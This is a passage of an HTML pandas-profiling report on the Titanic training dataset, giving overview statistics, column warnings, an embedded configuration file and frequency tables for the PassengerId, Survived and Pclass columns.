<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">profile</span> <span class="o">=</span> <span class="n">ProfileReport</span><span class="p">(</span><span class="n">train</span><span class="p">,</span> <span class="n">title</span><span class="o">=</span><span class="s">"Pandas Profiling Report"</span><span class="p">,</span> <span class="n">explorative</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span>
<span class="n">profile</span><span class="p">.</span><span class="n">to_notebook_iframe</span><span class="p">()</span>
</code></pre></div></div>
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/*# sourceMappingURL=bootstrap-theme.min.css.map */ </style><style>body {
padding-top: 80px;
}
.content .container-fluid{
margin-left: 20px !important;
margin-right: 20px !important;
margin-bottom: 20px;
}
.page-header{
border:0 !important;
}
.row.variable, .section-items > .row {
border: 1px solid #e1e1e8;
border-top: hidden;
}
.row.spacing{
padding: 2em 1em;
}
.row.header {
border-bottom: 1px solid #e1e1e8;
/*background-color: #f5f5f5;*/
padding-left: 2em;
}
.dl-horizontal dt {
text-align: left;
padding-right: 1em;
white-space: normal;
}
.dl-horizontal dd {
margin-left: 0;
}
.col-md-12 {
padding-left: 2em;
}
.indent {
margin-left: 1em;
}
.center-img {
margin-left: auto !important;
margin-right: auto !important;
display: block;
}
/* Table example_values */
table.example_values {
border: 0;
}
.example_values th {
border: 0;
padding: 0;
color: #555;
font-weight: 600;
}
.example_values tr, .example_values td {
border: 0;
padding: 0;
color: #555;
}
/* STATS */
table.stats, table.sample, table.duplicate{
border: 0;
}
.stats tr, .sample tr, .duplicate tr {
border: 0;
}
.stats th, .stats td{
color: #555;
border: 0;
}
.stats th {
padding: 0 2em 0 0;
font-weight: 600;
}
.stats td {
padding: 1px;
}
/* Sample table */
table.sample, table.duplicate{
margin-bottom: 2em;
margin-left: 1em;
}
.sample td, .sample th, .duplicate td, .duplicate th {
padding: 0.5em;
white-space: nowrap;
border: 0;
}
.sample thead, .duplicate thead {
border-top: 0;
border-bottom: 2px solid #ddd;
}
.sample td, .duplicate td {
width: 100%;
}
/* There is no good solution available to make the divs equal height and then center ... */
.histogram {
margin-top: 3em;
}
/* Freq table */
table.freq {
margin-bottom: 2em;
border: 0;
}
table.freq th, table.freq tr, table.freq td {
border: 0;
padding: 0;
}
.freq thead {
font-weight: 600;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
/* Freq mini */
.freq.mini td {
width: 50%;
padding: 1px;
font-size: 12px;
}
table.freq.mini {
width: 100%;
}
.freq.mini th {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 5em;
font-weight: 400;
text-align: right;
padding-right: 0.5em;
}
/* Message classes */
.missing {
color: #a94442;
}
.alert, .alert > th, .alert > td {
color: #a94442;
}
.ignore {
opacity: 0.4;
}
/* Bars in tables */
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white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
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.freq:not(.mini) tr td:nth-child(2), .freq:not(.mini) tr td:nth-child(3), .freq:not(.mini) tr th:nth-child(2), .freq:not(.mini) tr th:nth-child(3){
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background-color: #337ab7;
border-radius: 3px;
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.missing .bar {
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.extrapadding {
padding: 2em;
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.variable .h4 {
text-overflow: ellipsis;
display:inline-block;
width: calc(90%); /* The trick is here! */
overflow:hidden;
}
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text-decoration: line-through;
}
.table-responsive{
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width: 100%;
overflow-y: hidden;
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table.list-warnings td{
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a.anchor-pos {
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}
a.anchor-pos-variable{
/*top: -70px;*/
}
#sample-container, #duplicate-container{
overflow: auto;
width: 100%;
overflow-y: hidden;
}
#overview-content td, #overview-content th{
border-top: 0;
line-height: 1;
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select.multiple{
width: 180px;
height: 500px;
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padding: 1em;
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/* not printing tabs */
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page-break-after: right;
page-break-before: avoid;
}
.nav-pills, .nav-tabs, button[data-toggle="collapse"], .mini, .col-sm-3 img {
display:none !important;
}
a[download="config.yml"]:after {
content: none !important;
}
.row {
border: 0 !important;
}
}
.text-placeholder {
display: inline-block;
background-color: #444;
height: 12px;
border-radius: 100px;
margin: 5px 0;
min-width: 200px;
opacity: .1;
}</style></head><body><a class=anchor-pos id=top></a><nav class="navbar navbar-default navbar-fixed-top"><div class=container-fluid><div class=navbar-header><button type=button class="navbar-toggle collapsed" data-toggle=collapse data-target=#navbar aria-expanded=false aria-controls=navbar><span class=sr-only>Toggle navigation</span><span class=icon-bar></span><span class=icon-bar></span><span class=icon-bar></span></button><a class="navbar-brand anchor" href=#top>Pandas Profiling Report</a></div><div id=navbar class="navbar-collapse collapse"><ul class="nav navbar-nav navbar-right"><li><a class=anchor href=#overview>Overview</a></li><li><a class=anchor href=#variables>Variables</a></li><li><a class=anchor href=#interactions>Interactions</a></li><li><a class=anchor href=#correlations>Correlations</a></li><li><a class=anchor href=#missing>Missing values</a></li><li><a class=anchor href=#sample>Sample</a></li></ul></div></div></nav><div class=content><div class=container><div class="row header"><a class=anchor-pos id=overview></a><h1 class=page-header>Overview</h1></div><div class=section-items><div class="row spacing"><ul class="nav nav-pills" role=tablist><li role=presentation class=active><a href=#overview-dataset_overview aria-controls=overview-dataset_overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#overview-warnings aria-controls=overview-warnings role=tab data-toggle=tab>Warnings <span class=badge>5</span></a></li><li role=presentation><a href=#overview-reproduction aria-controls=overview-reproduction role=tab data-toggle=tab>Reproduction</a></li></ul><div class=tab-content style="padding-top: 10px;"><div role=tabpanel class="tab-pane col-sm-12 active" id=overview-dataset_overview><div class=col-sm-6><p class=h4>Dataset statistics</p><table class="table table-condensed stats"><tbody><tr><th>Number of variables</th><td>8</td></tr><tr><th>Number of observations</th><td>891</td></tr><tr><th>Missing cells</th><td>0</td></tr><tr><th>Missing cells (%)</th><td>0.0%</td></tr><tr><th>Duplicate rows</th><td>0</td></tr><tr><th>Duplicate rows (%)</th><td>0.0%</td></tr><tr><th>Total size in memory</th><td>55.8 KiB</td></tr><tr><th>Average record size in memory</th><td>64.1 B</td></tr></tbody></table></div><div class=col-sm-6><p class=h4>Variable types</p><table class="table table-condensed stats"><tbody><tr><th>Numeric</th><td>4</td></tr><tr><th>Categorical</th><td>4</td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=overview-warnings><table class="table table-condensed list-warnings"><p class=h4>Warnings</p><tr style=border-top:0><td><a class=anchor href=#pp_var_-2091696498356625691><code>PassengerId</code></a> is uniformly distributed </td><td><span class="label label-primary">Uniform</span></td></tr><tr><td><a class=anchor href=#pp_var_-2091696498356625691><code>PassengerId</code></a> has unique values </td><td><span class="label label-primary">Unique</span></td></tr><tr><td><a class=anchor href=#pp_var_8060475129680382162><code>SibSp</code></a> has 608 (68.2%) zeros </td><td><span class="label label-info">Zeros</span></td></tr><tr><td><a class=anchor href=#pp_var_9179953672643837052><code>Parch</code></a> has 678 (76.1%) zeros </td><td><span class="label label-info">Zeros</span></td></tr><tr><td><a class=anchor href=#pp_var_6740923749893651080><code>Fare</code></a> has 15 (1.7%) zeros </td><td><span class="label label-info">Zeros</span></td></tr></table></div><div role=tabpanel class="tab-pane col-sm-12" id=overview-reproduction><div class=col-sm-12><p class=h4>Reproduction</p><table class="table table-condensed stats"><tbody><tr><th>Analysis started</th><td>2021-05-07 16:50:07.206544</td></tr><tr><th>Analysis finished</th><td>2021-05-07 16:50:10.338689</td></tr><tr><th>Duration</th><td>3.13 seconds</td></tr><tr><th>Software version</th><td><a href=https://github.com/pandas-profiling/pandas-profiling>pandas-profiling v2.12.0</a></td></tr><tr><th>Download configuration</th><td><a download=config.yaml href="data:text/plain;charset=utf-8,title%3A%20Pandas%20Profiling%20Report%0Amemory_deep%3A%20yes%0An_freq_table_max%3A%2010%0An_extreme_obs%3A%2010%0An_obs_unique%3A%2010%0Avars%3A%0A%20%20%20%20image%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20%20%20%20%20exif%3A%20yes%0A%20%20%20%20%20%20%20%20hash%3A%20yes%0A%20%20%20%20file%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20path%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20url%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20cat%3A%0A%20%20%20%20%20%20%20%20words%3A%20yes%0A%20%20%20%20%20%20%20%20characters%3A%20yes%0A%20%20%20%20%20%20%20%20length%3A%20yes%0A%20%20%20%20%20%20%20%20cardinality_threshold%3A%2050%0A%20%20%20%20%20%20%20%20n_obs%3A%205%0A%20%20%20%20%20%20%20%20chi_squared_threshold%3A%200.999%0A%20%20%20%20%20%20%20%20coerce_str_to_date%3A%20no%0A%20%20%20%20%20%20%20%20redact%3A%20no%0A%20%20%20%20%20%20%20%20histogram_largest%3A%2050%0A%20%20%20%20num%3A%0A%20%20%20%20%20%20%20%20quantiles%3A%0A%20%20%20%20%20%20%20%20-%200.05%0A%20%20%20%20%20%20%20%20-%200.25%0A%20%20%20%20%20%20%20%20-%200.5%0A%20%20%20%20%20%20%20%20-%200.75%0A%20%20%20%20%20%20%20%20-%200.95%0A%20%20%20%20%20%20%20%20skewness_threshold%3A%2020%0A%20%20%20%20%20%20%20%20low_categorical_threshold%3A%205%0A%20%20%20%20%20%20%20%20chi_squared_threshold%3A%200.999%0A%20%20%20%20bool%3A%0A%20%20%20%20%20%20%20%20n_obs%3A%203%0A%20%20%20%20%20%20%20%20mappings%3A%0A%20%20%20%20%20%20%20%20-%20%5Bt%2C%20f%5D%0A%20%20%20%20%20%20%20%20-%20%5B%27yes%27%2C%20%27no%27%5D%0A%20%20%20%20%20%20%20%20-%20%5By%2C%20n%5D%0A%20%20%20%20%20%20%20%20-%20%5B%27true%27%2C%20%27false%27%5D%0Adataset%3A%0A%20%20%20%20description%3A%20%27%27%0A%20%20%20%20creator%3A%20%27%27%0A%20%20%20%20author%3A%20%27%27%0A%20%20%20%20copyright_holder%3A%20%27%27%0A%20%20%20%20copyright_year%3A%20%27%27%0A%20%20%20%20url%3A%20%27%27%0Avariables%3A%0A%20%20%20%20descriptions%3A%20%7B%7D%0Ainfer_dtypes%3A%20yes%0Ashow_variable_description%3A%20yes%0Apool_size%3A%200%0Aprogress_bar%3A%20yes%0Asort%3A%20None%0Amissing_diagrams%3A%0A%20%20%20%20bar%3A%20yes%0A%20%20%20%20matrix%3A%20yes%0A%20%20%20%20heatmap%3A%20yes%0A%20%20%20%20dendrogram%3A%20yes%0Acorrelations%3A%0A%20%20%20%20pearson%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20yes%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20spearman%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20kendall%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20phi_k%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20cramers%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20yes%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0Ainteractions%3A%0A%20%20%20%20targets%3A%20%5B%5D%0A%20%20%20%20continuous%3A%20yes%0Acategorical_maximum_correlation_distinct%3A%20100%0Aplot%3A%0A%20%20%20%20image_format%3A%20svg%0A%20%20%20%20dpi%3A%20800%0A%20%20%20%20scatter_threshold%3A%201000%0A%20%20%20%20correlation%3A%0A%20%20%20%20%20%20%20%20cmap%3A%20RdBu%0A%20%20%20%20%20%20%20%20bad%3A%20%27%23000000%27%0A%20%20%20%20missing%3A%0A%20%20%20%20%20%20%20%20cmap%3A%20RdBu%0A%20%20%20%20%20%20%20%20force_labels%3A%20yes%0A%20%20%20%20pie%3A%0A%20%20%20%20%20%20%20%20max_unique%3A%2010%0A%20%20%20%20histogram%3A%0A%20%20%20%20%20%20%20%20x_axis_labels%3A%20yes%0A%20%20%20%20%20%20%20%20bins%3A%2050%0A%20%20%20%20%20%20%20%20max_bins%3A%20250%0Aduplicates%3A%0A%20%20%20%20head%3A%2010%0A%20%20%20%20key%3A%20%27%23%20duplicates%27%0Asamples%3A%0A%20%20%20%20head%3A%2010%0A%20%20%20%20tail%3A%2010%0A%20%20%20%20random%3A%200%0Areject_variables%3A%20yes%0Anotebook%3A%0A%20%20%20%20iframe%3A%0A%20%20%20%20%20%20%20%20height%3A%20800px%0A%20%20%20%20%20%20%20%20width%3A%20100%25%0A%20%20%20%20%20%20%20%20attribute%3A%20srcdoc%0Ahtml%3A%0A%20%20%20%20minify_html%3A%20yes%0A%20%20%20%20use_local_assets%3A%20yes%0A%20%20%20%20inline%3A%20yes%0A%20%20%20%20navbar_show%3A%20yes%0A%20%20%20%20file_name%3A%20None%0A%20%20%20%20style%3A%0A%20%20%20%20%20%20%20%20theme%3A%20None%0A%20%20%20%20%20%20%20%20logo%3A%20%27%27%0A%20%20%20%20%20%20%20%20primary_color%3A%20%27%23337ab7%27%0A%20%20%20%20%20%20%20%20full_width%3A%20no%0A">config.yaml</a></td></tr></tbody></table></div></div></div></div></div><div class="row header"><a class=anchor-pos id=variables></a><h1 class=page-header>Variables</h1></div><div class=section-items><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_-2091696498356625691></a><div class=variable><div class=col-sm-3><p class=h4 title=PassengerId><a href=#pp_var_-2091696498356625691>PassengerId</a><br><small>Real number (&Ropf;<sub>&ge;0</sub>)</small></p><code>UNIFORM</code><br><code>UNIQUE</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr class=alert><th>Distinct</th><td>891</td></tr><tr class=alert><th>Distinct (%)</th><td>100.0%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Infinite</th><td>0</td></tr><tr><th>Infinite (%)</th><td>0.0%</td></tr><tr><th>Mean</th><td>446</td></tr></tbody></table></div><div class=col-sm-3><table class="table table-condensed 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</div> 0.1% </td></tr><tr class><td title=592>592</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=593>593</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=594>594</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=595>595</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class=other><td title="Other values (881)">Other values (881)</td><td>881</td><td><div class=bar style=width:100.0%> 98.9% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=-2091696498356625691bottom--2091696498356625691extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-2091696498356625691extreme_values--2091696498356625691firstn aria-controls=-2091696498356625691extreme_values--2091696498356625691firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#-2091696498356625691extreme_values--2091696498356625691lastn aria-controls=-2091696498356625691extreme_values--2091696498356625691lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-2091696498356625691extreme_values--2091696498356625691firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=1>1</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=2>2</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=3>3</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=4>4</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=5>5</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=7>7</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=8>8</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=9>9</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=10>10</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=-2091696498356625691extreme_values--2091696498356625691lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=891>891</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=890>890</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=889>889</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=888>888</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=887>887</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=886>886</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=885>885</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=884>884</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=883>883</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=882>882</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_193462139072593533></a><div class=variable><div class=col-sm-3><p class=h4 title=Survived><a href=#pp_var_193462139072593533>Survived</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>2</td></tr><tr><th>Distinct (%)</th><td>0.2%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>50.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 0 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 549&nbsp; </div></td></tr><tr class><th width=50%> 1 </th><td width=50%><div class=bar style=width:62.3% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 342&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-193462139072593533, #minifreqtable193462139072593533" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-193462139072593533 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#193462139072593533bottom-193462139072593533overview aria-controls=193462139072593533bottom-193462139072593533overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533string aria-controls=193462139072593533bottom-193462139072593533string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533word aria-controls=193462139072593533bottom-193462139072593533word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533characters aria-controls=193462139072593533bottom-193462139072593533characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=193462139072593533bottom-193462139072593533overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>891</td></tr><tr><th>Distinct characters</th><td>2</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; 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aria-controls=193462139072593533unicode-193462139072593533characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533categories aria-controls=193462139072593533unicode-193462139072593533categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533scripts aria-controls=193462139072593533unicode-193462139072593533scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533blocks aria-controls=193462139072593533unicode-193462139072593533blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=193462139072593533unicode-193462139072593533characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Common>Common</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_3008368470557780037></a><div class=variable><div class=col-sm-3><p class=h4 title=Pclass><a href=#pp_var_3008368470557780037>Pclass</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>3</td></tr><tr><th>Distinct (%)</th><td>0.3%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>50.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 3 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 491&nbsp; </div></td></tr><tr class><th width=50%> 1 </th><td width=50%><div class=bar style=width:44.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 216&nbsp; </div></td></tr><tr class><th width=50%> 2 </th><td width=50%><div class=bar style=width:37.5% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 184&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-3008368470557780037, #minifreqtable3008368470557780037" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-3008368470557780037 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#3008368470557780037bottom-3008368470557780037overview aria-controls=3008368470557780037bottom-3008368470557780037overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037string aria-controls=3008368470557780037bottom-3008368470557780037string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037word aria-controls=3008368470557780037bottom-3008368470557780037word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037characters aria-controls=3008368470557780037bottom-3008368470557780037characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=3008368470557780037bottom-3008368470557780037overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>891</td></tr><tr><th>Distinct characters</th><td>3</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr><th>Unique (%)</th><td>0.0%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>3</td></tr><tr><th>2nd row</th><td>1</td></tr><tr><th>3rd row</th><td>3</td></tr><tr><th>4th row</th><td>1</td></tr><tr><th>5th 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</div> 20.7% </td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=3008368470557780037unicode-3008368470557780037categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>491</td><td><div class=bar style=width:100.0%> 55.1% </div></td></tr><tr class><td title=1>1</td><td>216</td><td><div class=bar style=width:44.0%> 24.2% </div></td></tr><tr class><td title=2>2</td><td>184</td><td><div class=bar style=width:37.5%> &nbsp; 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</div> 20.7% </td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row 